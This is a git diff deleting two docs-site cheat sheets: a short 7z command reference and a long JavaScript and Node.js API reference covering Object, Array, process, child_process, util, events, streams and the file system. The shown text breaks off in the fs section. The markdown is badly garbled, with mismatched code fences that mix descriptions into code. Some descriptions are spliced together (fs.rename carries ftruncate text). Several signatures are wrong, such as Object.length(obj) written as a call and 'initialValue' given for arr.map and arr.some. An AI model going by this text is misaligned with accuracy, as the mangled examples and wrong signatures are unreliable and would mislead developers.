--- a/docs/content/cheat-sheets/7z.md
+++ /dev/null
@@ -1,66 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-## tags: [compression]
-
-7z [Args] [archive.7z] [files / folders to archive]
-A file archiver with highest compression ratio
-
-Args:
-a add
-d delete
-e extract
-l list
-t test
-u update
-x extract with full paths
-
-    DO NOT USE the 7-zip format for backup purpose on Linux/Unix.
-    7-zip does not store the owner/group of the file.
-
-    On Linux/Unix, in order to backup directories you must use tar :
-      - to backup a directory  : tar cf - directory | 7z a -si directory.tar.7z
-      - to restore your backup : 7z x -so directory.tar.7z | tar xf -
-
-    If  you  want  to send files and directories (not the owner of file) to others
-    Unix/MacOS/Windows users, you can use the 7-zip format.
-
-Example 1: Quick and Easy - Add all files in dir1 to archive.7z with Default Settings.
-7z a archive.7z dir1
-
-Example 2: Add all files in dir1 to archive.7z with Max Compression
-7z a -t7z -m0=lzma -mx=9 -mfb=64 -md=32m -ms=on archive.7z dir1
-
-    -t7z        7z archive
-    -m0=lzma    lzma method
-    -mx=9       level of compression = 9 (ultra)
-    -mfb=64     number of fast bytes for lzma = 64
-    -md=32m     dictionary size = 32 Mb
-    -ms=on      solid archive = on
-
-Example 3: Add (store) all files in dir1 to archive.7z with No Compression
-7z a -m0=copy archive.7z dir1
-
-7z exit codes:
-
-    0       normal (no errors or warnings)
-    1       warning (non-fatal errors)
-    2       fatal error
-    7       bad cli arguments
-    8       not enough memory for operation
-    255     process was interrupted
diff --git a/docs/content/cheat-sheets/CHEATSHEET.md b/docs/content/cheat-sheets/CHEATSHEET.md
deleted file mode 100644
index 13dfcffc45..0000000000
--- a/docs/content/cheat-sheets/CHEATSHEET.md
+++ /dev/null
@@ -1,3067 +0,0 @@
-# Vanilla JS
-
-> Global object: properties
-
-```js
-Object.length(obj);
-```
-
-> length is a property of a function object, and indicates how many arguments the function expects, i.e. the number of formal parameters. This number does not include the rest parameter. Has a value of 1.
-
-```js
-Object.prototype;
-```
-
-> Represents the Object prototype object and allows to add new properties and methods to all objects of type Object.
-> Methods of the Object constructor
-
-```js
-Object.assign(target, ...sources);
-```
-
-> Copies the values of all enumerable own properties from one or more source objects to a target object. method is used to copy the values of all enumerable own properties from one or more source objects to a target object. It will return the target object
-
-```js
-Object.create(MyObject);
-```
-
-> Creates a new object with the specified prototype object and properties. The object which should be the prototype of the newly-created object.
-
-```js
-Object.defineProperty(obj, prop, descriptor);
-```
-
-> Adds the named property described by a given descriptor to an object.
-
-```js
-Object.defineProperties(obj, props);
-```
-
-> Adds the named properties described by the given descriptors to an object.
-
-```js
-Object.entries(obj);
-```
-
-> Returns an array containing all of the [key, value] pairs of a given object's own enumerable string properties.
-
-```js
-Object.freeze(obj);
-```
-
-> Freezes an object: other code can't delete or change any properties.
-
-```js
-Object.getOwnPropertyDescriptor(obj, prop);
-```
-
-> Returns a property descriptor for a named property on an object.
-
-```js
-Object.getOwnPropertyDescriptors(obj);
-```
-
-> Returns an object containing all own property descriptors for an object.
-
-```js
-Object.getOwnPropertyNames(obj);
-```
-
-> Returns an array containing the names of all of the given object's own enumerable and non-enumerable properties.
-
-```js
-Object.getOwnPropertySymbols(obj);
-```
-
-> Returns an array of all symbol properties found directly upon a given object.
-
-```js
-Object.getPrototypeOf(obj);
-```
-
-> Returns the prototype of the specified object.
-
-```js
-Object.is(value1, value2);
-```
-
-> Compares if two values are the same value. Equates all NaN values (which differs from both Abstract Equality Comparison and Strict Equality Comparison).
-
-```js
-Object.isExtensible(obj);
-```
-
-> Determines if extending of an object is allowed.
-
-```js
-Object.isFrozen(obj);
-```
-
-> Determines if an object was frozen.
-
-```js
-Object.isSealed(obj);
-```
-
-> Determines if an object is sealed.
-
-```js
-Object.keys(obj);
-```
-
-> Returns an array containing the names of all of the given object's own enumerable string properties.
-
-```js
-Object.preventExtensions(obj);
-```
-
-> Prevents any extensions of an object.
-
-```js
-Object.seal(obj);
-```
-
-> Prevents other code from deleting properties of an object.
-
-```js
-Object.setPrototypeOf(obj, prototype);
-```
-
-> Sets the prototype (i.e., the internal [[Prototype]] property).
-
-```js
-Object.values(obj);
-```
-
-> Returns an array containing the values that correspond to all of a given object's own enumerable string properties.
-> Object instances and Object prototype object (Object.prototype.property or Object.prototype.method())
-> Properties
-
-```js
-obj.constructor;
-```
-
-> Specifies the function that creates an object's prototype.
-
-```js
-obj.__proto__;
-```
-
-> Points to the object which was used as prototype when the object was instantiated.
-> Methods
-
-```js
-obj.hasOwnProperty(prop);
-```
-
-> Returns a boolean indicating whether an object contains the specified property as a direct property of that object and not inherited through the prototype chain.
-
-```js
-prototypeObj.isPrototypeOf(object);
-```
-
-> Returns a boolean indicating whether the object this method is called upon is in the prototype chain of the specified object.
-
-```js
-obj.propertyIsEnumerable(prop);
-```
-
-> Returns a boolean indicating if the internal ECMAScript [[Enumerable]] attribute is set.
-
-```js
-obj.toLocaleString();
-```
-
-> Calls toString().
-
-```js
-obj.toString();
-```
-
-> Returns a string representation of the object.
-
-```js
-object.valueOf();
-```
-
-> Returns the primitive value of the specified object.
-
-## Global object: properties
-
-```js
-Array.length;
-```
-
-> Reflects the number of elements in an array.
-
-```js
-Array.prototype;
-```
-
-> Represents the prototype for the Array constructor and allows to add new properties and methods to all Array objects.
-
-## Global object: methods
-
-```js
-Array.from(arrayLike[, mapFn[, thisArg]])
-
-```
-
-> Creates a new Array instance from an array-like or iterable object.
-
-```js
-Array.isArray(obj);
-```
-
-> Returns true if a variable is an array, if not false.
-
-```js
-
-Array.of(element0[, element1[, ...[, elementN]]]);
-
-```
-
-> Creates a new Array instance with a variable number of arguments, regardless of number or type of the arguments.
-> Instance: properties
-
-```js
-arr.length;
-```
-
-> Reflects the number of elements in an array.
-> Instance: mutator methods
-
-```js
-arr.copyWithin(target, start, end);
-```
-
-> Copies a sequence of array elements within the array.
-
-```js
-arr.fill(value, start, end);
-```
-
-> Fills all the elements of an array from a start index to an end index with a static value.
-
-```js
-arr.pop();
-```
-
-> Removes the last element from an array and returns that element.
-
-```js
-
-arr.push([element1[, ...[, elementN]]])
-
-```
-
-> Adds one or more elements to the end of an array and returns the new length of the array.
-
-```js
-arr.reverse();
-```
-
-> Reverses the order of the elements of an array in place — the first becomes the last, and the last becomes the first.
-
-```js
-arr.shift();
-```
-
-> Removes the first element from an array and returns that element.
-
-```js
-arr.sort();
-```
-
-> Sorts the elements of an array in place and returns the array.
-
-```js
-
-array.splice(start, deleteCount, item1, item2, ...)
-
-```
-
-> Adds and/or removes elements from an array.
-
-```js
-
-arr.unshift([element1[, ...[, elementN]]])
-
-```
-
-> Adds one or more elements to the front of an array and returns the new length of the array.
-> Instance: accessor methods
-
-```js
-
-arr.concat(value1[, value2[, ...[, valueN]]])
-
-```
-
-> Returns a new array comprised of this array joined with other array(s) and/or value(s).
-
-```js
-arr.includes(searchElement, fromIndex);
-```
-
-> Determines whether an array contains a certain element, returning true or false as appropriate.
-
-```js
-
-arr.indexOf(searchElement[, fromIndex])
-
-```
-
-> Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found.
-
-```js
-arr.join(separator);
-```
-
-> Joins all elements of an array into a string.
-
-```js
-arr.lastIndexOf(searchElement, fromIndex);
-```
-
-> Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found.
-
-```js
-arr.slice(begin, end);
-```
-
-> Extracts a section of an array and returns a new array.
-
-```js
-arr.toString();
-```
-
-> Returns a string representing the array and its elements. Overrides the Object.prototype.toString() method.
-
-```js
-arr.toLocaleString(locales, options);
-```
-
-> Returns a localized string representing the array and its elements. Overrides the Object.prototype.toLocaleString() method.
-> Instance: iteration methods
-
-```js
-arr.entries();
-```
-
-> Returns a new Array Iterator object that contains the key/value pairs for each index in the array.
-
-```js
-
-arr.every(callback[, thisArg])
-
-```
-
-> Returns true if every element in this array satisfies the provided testing function.
-
-```js
-
-arr.filter(callback[, thisArg])
-
-```
-
-> Creates a new array with all of the elements of this array for which the provided filtering function returns true.
-
-```js
-
-arr.find(callback[, thisArg])
-
-```
-
-> Returns the found value in the array, if an element in the array satisfies the provided testing function or undefined if not found.
-
-```js
-
-arr.findIndex(callback[, thisArg])
-
-```
-
-> Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found.
-
-```js
-
-arr.forEach(callback[, thisArg])
-
-```
-
-> Calls a function for each element in the array.
-
-```js
-arr.keys();
-```
-
-> Returns a new Array Iterator that contains the keys for each index in the array.
-
-```js
-
-arr.map(callback[, initialValue])
-
-```
-
-> Creates a new array with the results of calling a provided function on every element in this array.
-
-```js
-
-arr.reduce(callback[, initialValue])
-
-```
-
-> Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value.
-
-```js
-
-arr.reduceRight(callback[, initialValue])
-
-```
-
-> Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value.
-
-```js
-
-arr.some(callback[, initialValue])
-
-```
-
-> Returns true if at least one element in this array satisfies the provided testing function.
-
-```js
-arr.values();
-```
-
-> Returns a new Array Iterator object that contains the values for each index in the array.
-
----
-
-# NodeJS
-
----
-
-```js
-let http = require('http');
-```
-
-> An example of a web server written with Node which responds with 'Hello World'.
-> To run the server, put the code into a file called example.js and execute it with the node program.
-
-```js
-http.createServer(function (request, response) {
-    response.writeHead(200, { 'Content-Type': 'text/plain' });
-    response.end('Hello World\n');
-}).listen(8124);
-console.log('Server running at http://127.0.0.1:8124/');
-```
-
-## GLOBAL OBJECTS
-
-### In browsers, the top-level scope is the global scope.
-
-> That means that in browsers if you're in the global scope let something will define a global variable.
-> In Node this is different. The top-level scope is not the global scope; let something inside a Node module will be local to that module.
-
-```js
-__filename;
-```
-
----
-
-> The filename of the code being executed. (absolute path)
-> \_\_dirname;
-
-```
-
->  The name of the directory that the currently executing script resides in. (absolute path)
-module;
-```
-
----
-
-> A reference to the current module. In particular module.exports is used for defining what a module exports and makes available through require().
-
-```js
-exports;
-```
-
----
-
-> A reference to the module.exports that is shorter to type.
-
-```js
-process;
-```
-
----
-
-> The process object is a global object and can be accessed from anywhere. It is an instance of EventEmitter.
-
-```js
-Buffer;
-```
-
----
-
-> The Buffer class is a global type for dealing with binary data directly.
-
-```js
-
-console.log([data], [...]);
-
-```
-
----
-
-> Prints to stdout with newline.
-
-```js
-
-console.info([data], [...]);
-
-```
-
-> Same as console.log.
-
-```js
-
-console.error([data], [...]);
-```
-
----
-
-> Same as console.log but prints to stderr.
-
-```js
-
-console.warn([data], [...]);
-
-```
-
----
-
-> Same as console.error.
-
-```js
-console.dir(obj);
-```
-
-> Uses util.inspect on obj and prints resulting string to stdout.
-
-```js
-console.time(label);
-```
-
----
-
-> Mark a time.
-
-```js
-console.timeEnd(label);
-```
-
-> Finish timer, record output.
-
-```js
-console.trace(label);
-```
-
----
-
-> Print a stack trace to stderr of the current position.
-
-```js
-console.assert(expression, [message]);
-```
-
----
-
-> Same as assert.ok() where if the expression evaluates as false throw an AssertionError with message.
-
-```js
-
-setTimeout(callback, delay, [arg], [...]);
-
-```
-
-> To schedule execution of a one-time callback after delay milliseconds. Optionally you can also pass arguments to the callback.
-
-```js
-clearTimeout(t);
-```
-
-> Stop a timer that was previously created with setTimeout().
-
-```js
-
-setInterval(callback, delay, [arg], [...]);
-```
-
----
-
-> To schedule the repeated execution of callback every delay milliseconds. Optionally you can also pass arguments to the callback.
-
-```js
-clearInterval(t);
-```
-
-> Stop a timer that was previously created with setInterval().
-
-```js
-
-setImmediate(callback, [arg], [...]);
-
-```
-
-> To schedule the "immediate" execution of callback after I/O events callbacks and before setTimeout and setInterval.
-
-```js
-clearImmediate(immediateObject);
-```
-
-> Stop a timer that was previously created with setImmediate().
-
-```js
-unref();
-```
-
-> Allow you to create a timer that is active but if it is the only item left in the event loop, node won't keep the program running.
-
-```js
-ref();
-```
-
-```
-
->  If you had previously unref()d a timer you can call ref() to explicitly request the timer hold the program open.
-let module = require('./module.js');
-
-```
-
-> Loads the module module.js in the same directory.
-
-```js
-module.require('./another_module.js');
-```
-
----
-
-> load another_module as if require() was called from the module itself.
-
-```js
-module.id;
-```
-
-> The identifier for the module. Typically this is the fully resolved filename.
-
-```js
-module.filename;
-```
-
----
-
-> The fully resolved filename to the module.
-
-```js
-module.loaded;
-```
-
-````
-
->  Whether or not the module is done loading, or is in the process of loading.
-
-```js
-
-module.parent;
-
-````
-
-````
-
->  The module that required this one.
-
-```js
-
-module.children;
-````
-
----
-
-> The module objects required by this one.
-
-```js
-exports.area = function (r) {
-    return Math.PI * r * r;
-};
-```
-
-> If you want the root of your module's export to be a function (such as a constructor)
-> or if you want to export a complete object in one assignment instead of building it one property at a time,
-> assign it to module.exports instead of exports.
-
-```js
-
-module.exports = function(width) {
-return {
-  area: function() {
-    return width * width;
-  }
-};
-}
-//**************
- // * PROCESS
- * http://nodejs.org/api/process.html
-*/
-> ---------------------------------------------------------------------------\\
-process.on('exit', function(code) {});
-
-```
-
-> Emitted when the process is about to exit
-> process.on('uncaughtException', function(err) {});
-
-```
----
->  Emitted when an exception bubbles all the way back to the event loop. (should not be used)
-process.stdout;
-
-```
-
-> A writable stream to stdout.
-
-```js
-process.stderr;
-```
-
-> A writable stream to stderr.
-
-```js
-process.stdin;
-```
-
----
-
-> A readable stream for stdin.
-
-````js
-
-process.argv;
->  An array containing the command line arguments.
-
-```js
-
-process.env;
-
-````
-
-> An object containing the user environment.
-
-```js
-process.execPath;
-```
-
-> This is the absolute pathname of the executable that started the process.
-
-```js
-process.execArgv;
-```
-
-> This is the set of node-specific command line options from the executable that started the process.
-
-````js
-
-process.arch;
->  What processor architecture you're running on: 'arm', 'ia32', or 'x64'.
-
-```js
-
-process.config;
-
-````
-
-> An Object containing the JavaScript representation of the configure options that were used to compile the current node executable.
-
-```js
-process.pid;
-```
-
-> The PID of the process.
-
-```js
-process.platform;
-```
-
-> What platform you're running on: 'darwin', 'freebsd', 'linux', 'sunos' or 'win32'.
-
-```js
-process.title;
-```
-
----
-
-> Getter/setter to set what is displayed in 'ps'.
-
-```js
-process.version;
-```
-
-> A compiled-in property t
-> hat exposes NODE_VERSION.
-
-```js
-process.versions;
-```
-
-> A property exposing version strings of node and its dependencies.
-
-```js
-
-> process.abort();
-
-```
-
-> This causes node to emit an abort. This will cause node to exit and generate a core file.
-
-````js
-
-process.chdir(dir);
->  Changes the current working directory of the process or throws an exception if that fails.
-
-```js
-
-process.cwd();
-````
-
----
-
-> Returns the current working directory of the process.
-> ?process.exit([code]);  
->  Ends the process with the specified code. If omitted, exit uses the 'success' code 0.
-
-```js
-process.getgid();
-```
-
-> Gets the group identity of the process.
-
-````js
-
-process.setgid(id);
->  Sets the group identity of the process.
-
-```js
-
-process.getuid();
-
-````
-
-> Gets the user identity of the process.
-
-````js
-
-process.setuid(id);
->  Sets the user identity of the process.
-
-```js
-
-process.getgroups();
-````
-
----
-
-> Returns an array with the supplementary group IDs.
-
-```js
-process.setgroups(grps);
-```
-
----
-
-> Sets the supplementary group IDs.
-
-```js
-process.initgroups(user, extra_grp);
-```
-
----
-
-> Reads /etc/group and initializes the group access list, using all groups of which the user is a member.
-
-```js
-process.kill(pid, [signal]);
-```
-
-> Send a signal to a process. pid is the process id and signal is the string describing the signal to send.
-
-```js
-process.memoryUsage();
-```
-
-> Returns an object describing the memory usage of the Node process measured in bytes.
-
-```js
-process.nextTick(callback);
-```
-
-> On the next loop around the event loop call this callback.
-
-````js
-
-process.maxTickDepth;
->  Callbacks passed to process.nextTick will usually be called at the end of the current flow of execution, and are thus approximately as fast as calling a function synchronously.
-
-```js
-
-process.umask([mask]);
-
-````
-
-> Sets or reads the process's file mode creation mask.
-
-```js
-process.uptime();
-```
-
-> Number of seconds Node has been running.
-
-```js
-process.hrtime();
-```
-
-> Returns the current high-resolution real time in a [seconds, nanoseconds] tuple Array.
-
-````js
-
-//**************
- // * CHILD PROCESS
- * http://nodejs.org/api/child_process.html
-*/
-> ---------------------------------------------------------------------------\\
->  Node provides a tri-directional popen facility through the child_process module.
- > It is possible to stream data through a child's stdin, stdout, and stderr in a fully non-blocking way.
-
-```js
-
-ChildProcess;
->  Class. ChildProcess is an EventEmitter.
-
-```js
-
-child.stdin;
->  A Writable Stream that represents the child process's stdin
-child.stdout;
->  A Readable Stream that represents the child process's stdout
-child.stderr;
->  A Readable Stream that represents the child process's stderr.
-
-```js
-
-child.pid;
->  The PID of the child process
-child.connected;
->  If .connected is false, it is no longer possible to send messages
-child.kill([signal]);
-
-````
-
-> Send a signal to the child process
-> child.send(message, [sendHandle]);
-
-````
-
->  When using child_process.fork() you can write to the child using child.send(message, [sendHandle]) and messages are received by a 'message' event on the child.
-
-```js
-
-child.disconnect();
-
-````
-
-> Close the IPC channel between parent and child, allowing the child to exit gracefully once there are no other connections keeping it alive.
-
-```js
-child_process.spawn(command, [args], [options]);
-```
-
-> Launches a new process with the given command, with command line arguments in args. If omitted, args defaults to an empty Array.
-
-````js
-
-child_process.exec(command, [options], callback);
->  Runs a command in a shell and buffers the output.
-
-```js
-
-child_process.execFile(file, [args], [options], [callback]);
-````
-
----
-
-> Runs a command in a shell and buffers the output.
-
-```js
-child_process.fork(modulePath, [args], [options]);
-```
-
----
-
-> This is a special case of the spawn() functionality for spawning Node processes. In addition to having all the methods in a normal ChildProcess instance, the returned object has a communication channel built-in.
-
-````js
-
-//**************
- // * UTIL
- * http://nodejs.org/api/util.html
-*/
-> ---------------------------------------------------------------------------\\
->  These functions are in the module 'util'. Use require('util') to access them.
-
-```js
-
-util.format(format, [...]);
-
-````
-
-> Returns a formatted string using the first argument as a printf-like format. (%s, %d, %j)
-> util.debug(string);
-
-````
----
->  A synchronous output function. Will block the process and output string immediately to stderr.
-
-```js
-
-util.error([...]);
-
-````
-
-> Same as util.debug() except this will output all arguments immediately to stderr.
-
-```js
-
-util.puts([...]);
-
-```
-
-> A synchronous output function. Will block the process and output all arguments to stdout with newlines after each argument.
-
-```js
-
-util.print([...]);
-
-```
-
-> A synchronous output function. Will block the process, cast each argument to a string then output to stdout. (no newlines)
-> util.log(string);
-
-````
-
->  Output with timestamp on stdout.
-
-```js
-
-util.inspect(object, [opts]);
-````
-
----
-
-> Return a string representation of object, which is useful for debugging. (options: showHidden, depth, colors, customInspect)
-> util.isArray(object);
-
-````
-
->   Returns true if the given "object" is an Array. false otherwise.
-
-```js
-
-util.isRegExp(object);
-
-````
-
-> Returns true if the given "object" is a RegExp. false otherwise.
-
-```js
-util.isDate(object);
-```
-
-> Returns true if the given "object" is a Date. false otherwise.
-
-```js
-util.isError(object);
-```
-
-> Returns true if the given "object" is an Error. false otherwise.
-
-````js
-
-util.promisify(fn)
->  Takes a function whose last argument is a callback and returns a version that returns promises.
-
-```js
-
-util.inherits(constructor, superConstructor);
-````
-
----
-
-> Inherit the prototype methods from one constructor into another.
-
-```js
-
-//**************
- // * EVENTS
- * http://nodejs.org/api/events.html
-*/
-> ---------------------------------------------------------------------------\\
->  All objects which emit events are instances of events.EventEmitter. You can access this module by doing: require("events");
-
-```
-
-> To access the EventEmitter class, require('events').EventEmitter.
-> All EventEmitters emit the event 'newListener' when new listeners are added and 'removeListener' when a listener is removed.
-
-```js
-emitter.addListener(event, listener);
-```
-
-> Adds a listener to the end of the listeners array for the specified event.
-
-````js
-
-emitter.on(event, listener);
->  Same as emitter.addListener().
-
-```js
-
-emitter.once(event, listener);
-
-````
-
-> Adds a one time listener for the event. This listener is invoked only the next time the event is fired, after which it is removed.
-
-````js
-
-emitter.removeListener(event, listener);
->  Remove a listener from the listener array for the specified event.
-
-```js
-
-emitter.removeAllListeners([event]);
-
-````
-
-> Removes all listeners, or those of the specified event.
-
-````js
-
-emitter.setMaxListeners(n);
->  By default EventEmitters will print a warning if more than 10 listeners are added for a particular event.
-
-```js
-
-emitter.listeners(event);
->  Returns an array of listeners for the specified event.
-
-```js
-
-emitter.emit(event, [arg1], [arg2], [...]);
-````
-
----
-
-> Execute each of the listeners in order with the supplied arguments. Returns true if event had listeners, false otherwise.
-
-```js
-EventEmitter.listenerCount(emitter, event);
-```
-
----
-
-> Return the number of listeners for a given event.
-> A stream is an abstract interface implemented by various objects in Node. For example a request to an HTTP server is a stream, as is stdout.
-> Streams are readable, writable, or both. All streams are instances of EventEmitter.
-> The Readable stream interface is the abstraction for a source of data that you are reading from.
-> In other words, data comes out of a Readable stream.
-> A Readable stream will not start emitting data until you indicate that you are ready to receive it.
-> Examples of readable streams include: http responses on the client, http requests on the server, fs read streams
-> zlib streams, crypto streams, tcp sockets, child process stdout and stderr, process.stdin.
-
-```js
-let readable = getReadableStreamSomehow();
-readable.on('readable', function () {});
-```
-
-> When a chunk of data can be read from the stream, it will emit a 'readable' event.
-
-```js
-readable.on('data', function (chunk) {});
-```
-
----
-
-> If you attach a data event listener, then it will switch the stream into flowing mode, and data will be passed to your handler as soon as it is available.
-
-```js
-readable.on('end', function () {});
-```
-
-> This event fires when there will be no more data to read.
-
-```js
-readable.on('close', function () {});
-```
-
----
-
-> Emitted when the underlying resource (for example, the backing file descriptor) has been closed. Not all streams will emit this.
-
-```js
-readable.on('error', function () {});
-```
-
----
-
-> Emitted if there was an error receiving data.
-> The read() method pulls some data out of the internal buffer and returns it. If there is no data available, then it will return null.
-> This method should only be called in non-flowing mode. In flowing-mode, this method is called automatically until the internal buffer is drained.
-
-```js
-readable.read([size]);
-readable.setEncoding(encoding);
-```
-
-> Call this function to cause the stream to return strings of the specified encoding instead of Buffer objects.
-
-```js
-readable.resume();
-```
-
-> This method will cause the readable stream to resume emitting data events.
-
-```js
-readable.pause();
-```
-
-> This method will cause a stream in flowing-mode to stop emitting data events.
-
-```js
-readable.pipe(destination, [options]);
-```
-
-> This method pulls all the data out of a readable stream, and writes it to the supplied destination, automatically managing the flow so that the destination is not overwhelmed by a fast readable stream.
-
-```js
-readable.unpipe([destination]);
-```
-
-> This method will remove the hooks set up for a previous pipe() call. If the destination is not specified, then all pipes are removed.
-
-````js
-
-readable.unshift(chunk);
->  This is useful in certain cases where a stream is being consumed by a parser, which needs to "un-consume" some data that it has optimistically pulled out of the source, so that the stream can be passed on to some other party.
->  The Writable stream interface is an abstraction for a destination that you are writing data to.
- > Examples of writable streams include: http requests on the client, http responses on the server, fs write streams,
->  zlib streams, crypto streams, tcp sockets, child process stdin, process.stdout, process.stderr.
-
-```js
-
-let writer = getWritableStreamSomehow();
-writable.write(chunk, [encoding], [callback]);
-````
-
----
-
-> This method writes some data to the underlying system, and calls the supplied callback once the data has been fully handled.
-
-````js
-
-writer.once('drain', write);
->  If a writable.write(chunk) call returns false, then the drain event will indicate when it is appropriate to begin writing more data to the stream.
-
-```js
-
-writable.end([chunk], [encoding], [callback]);
-````
-
----
-
-> Call this method when no more data will be written to the stream.
-
-````js
-
-writer.on('finish', function() {});
->  When the end() method has been called, and all data has been flushed to the underlying system, this event is emitted.
-
-```js
-
-writer.on('pipe', function(src) {});
-````
-
----
-
-> This is emitted whenever the pipe() method is called on a readable stream, adding this writable to its set of destinations.
-
-```js
-writer.on('unpipe', function (src) {});
-```
-
-> This is emitted whenever the unpipe() method is called on a readable stream, removing this writable from its set of destinations.
-
-```js
-writer.on('error', function (src) {});
-```
-
-> Emitted if there was an error when writing or piping data.
-> Duplex streams are streams that implement both the Readable and Writable interfaces. See above for usage.
-> Examples of Duplex streams include: tcp sockets, zlib streams, crypto streams.
-> Transform streams are Duplex streams where the output is in some way computed from the input. They implement both the Readable and Writable interfaces. See above for usage.
-> Examples of Transform streams include: zlib streams, crypto streams.
-
-````js
-
-//**************
- // * FILE SYSTEM
- * http://nodejs.org/api/fs.html
-*/
-> ---------------------------------------------------------------------------\\
->  To use this module do require('fs').
- > All the methods have asynchronous and synchronous forms.
-
-```js
-
-fs.rename(oldPath, newPath, callback);
-````
-
----
-
-> Asynchronous rename. No arguments other than a possible exception are given to the completion callback.Asynchronous ftruncate. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.renameSync(oldPath, newPath);
-```
-
-> Synchronous rename.
-
-```js
-fs.ftruncate(fd, len, callback);
-```
-
-> Asynchronous ftruncate. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.ftruncateSync(fd, len);
-```
-
-> Synchronous ftruncate.
-
-````js
-
-fs.truncate(path, len, callback);
->  Asynchronous truncate. No arguments other than a possible exception are given to the completion callback.
-
-```js
-
-fs.truncateSync(path, len);
->  Synchronous truncate.
-
-```js
-
-fs.chown(path, uid, gid, callback);
->  Asynchronous chown. No arguments other than a possible exception are given to the completion callback.
-
-```js
-
-fs.chownSync(path, uid, gid);
-
-````
-
-> Synchronous chown.
-
-```js
-fs.fchown(fd, uid, gid, callback);
-```
-
----
-
-> Asynchronous fchown. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.fchownSync(fd, uid, gid);
-```
-
----
-
-> Synchronous fchown.
-
-```js
-fs.lchown(path, uid, gid, callback);
-```
-
-> Asynchronous lchown. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.lchownSync(path, uid, gid);
-```
-
-> Synchronous lchown.
-
-```js
-fs.chmod(path, mode, callback);
-```
-
-> Asynchronous chmod. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.chmodSync(path, mode);
-```
-
-> Synchronous chmod.
-
-```js
-fs.fchmod(fd, mode, callback);
-```
-
-> Asynchronous fchmod. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.fchmodSync(fd, mode);
-```
-
-> Synchronous fchmod.
-
-```js
-fs.lchmod(path, mode, callback);
-```
-
-> Asynchronous lchmod. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.lchmodSync(path, mode);
-```
-
-> Synchronous lchmod.
-
-```js
-fs.stat(path, callback);
-```
-
-> Asynchronous stat. The callback gets two arguments (err, stats) where stats is a fs.Stats object.
-
-```js
-fs.statSync(path);
-```
-
-> Synchronous stat. Returns an instance of fs.Stats.
-
-```js
-fs.lstat(path, callback);
-```
-
-> Asynchronous lstat. The callback gets two arguments (err, stats) where stats is a fs.Stats object. lstat() is identical to stat(), except that if path is a symbolic link, then the link itself is stat-ed, not the file that it refers to.
-
-```js
-fs.lstatSync(path);
-```
-
-> Synchronous lstat. Returns an instance of fs.Stats.
-
-````js
-
-fs.fstat(fd, callback);
->  Asynchronous fstat. The callback gets two arguments (err, stats) where stats is a fs.Stats object. fstat() is identical to stat(), except that the file to be stat-ed is specified by the file descriptor fd.
-
-```js
-
-fs.fstatSync(fd);
-````
-
----
-
-> Synchronous fstat. Returns an instance of fs.Stats.
-
-````js
-
-fs.link(srcpath, dstpath, callback);
->  Asynchronous link. No arguments other than a possible exception are given to the completion callback.
-
-```js
-
-fs.linkSync(srcpath, dstpath);
-
-````
-
-> Synchronous link.
-
-```js
-fs.symlink(srcpath, dstpath, [type], callback);
-```
-
----
-
-> Asynchronous symlink. No arguments other than a possible exception are given to the completion callback. The type argument can be set to 'dir', 'file', or 'junction' (default is 'file') and is only available on Windows (ignored on other platforms)
-
-```js
-fs.symlinkSync(srcpath, dstpath, [type]);
-```
-
-> Synchronous symlink.
-
-```js
-fs.readlink(path, callback);
-```
-
-> Asynchronous readlink. The callback gets two arguments (err, linkString).
-
-```js
-fs.readlinkSync(path);
-```
-
----
-
-> Synchronous readlink. Returns the symbolic link's string value.
-
-```js
-fs.unlink(path, callback);
-```
-
----
-
-> Asynchronous unlink. No arguments other than a possible exception are given to the completion callback.
-
-````js
-
-fs.unlinkSync(path);
->  Synchronous unlink.
-
-```js
-
-fs.realpath(path, [cache], callback);
->  Asynchronous realpath. The callback gets two arguments (err, resolvedPath).
-
-```js
-
-fs.realpathSync(path, [cache]);
-
-````
-
-> Synchronous realpath. Returns the resolved path.
-
-````js
-
-fs.rmdir(path, callback);
->  Asynchronous rmdir. No arguments other than a possible exception are given to the completion callback.
-
-```js
-
-fs.rmdirSync(path);
-````
-
----
-
-> Synchronous rmdir.
-
-```js
-fs.mkdir(path, [mode], callback);
-```
-
-> Asynchronous mkdir. No arguments other than a possible exception are given to the completion callback. mode defaults to 0777.
-
-```js
-fs.mkdirSync(path, [mode]);
-```
-
-> Synchronous mkdir.
-
-```js
-fs.readdir(path, callback);
-```
-
-> Asynchronous readdir. Reads the contents of a directory. The callback gets two arguments (err, files) where files is an array of the names of the files in the directory excluding '.' and '..'.
-
-```js
-fs.readdirSync(path);
-```
-
-> Synchronous readdir. Returns an array of filenames excluding '.' and '..'.
-
-```js
-fs.close(fd, callback);
-```
-
-> Asynchronous close. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.closeSync(fd);
-```
-
-> Synchronous close.
-
-```js
-fs.open(path, flags, [mode], callback);
-```
-
-> Asynchronous file open.
-
-```js
-fs.openSync(path, flags, [mode]);
-```
-
-> Synchronous version of fs.open().
-
-```js
-fs.utimes(path, atime, mtime, callback);
-```
-
----
-
-> Change file timestamps of the file referenced by the supplied path.
-
-```js
-fs.utimesSync(path, atime, mtime);
-```
-
-> Synchronous version of fs.utimes().
-
-```js
-fs.futimes(fd, atime, mtime, callback);
-```
-
-> Change the file timestamps of a file referenced by the supplied file descriptor.
-
-```js
-fs.futimesSync(fd, atime, mtime);
-```
-
-> Synchronous version of fs.futimes().
-
-```js
-fs.fsync(fd, callback);
-```
-
-> Asynchronous fsync. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.fsyncSync(fd);
-```
-
-> Synchronous fsync.
-
-```js
-fs.write(fd, buffer, offset, length, position, callback);
-```
-
----
-
-> Write buffer to the file specified by fd.
-
-```js
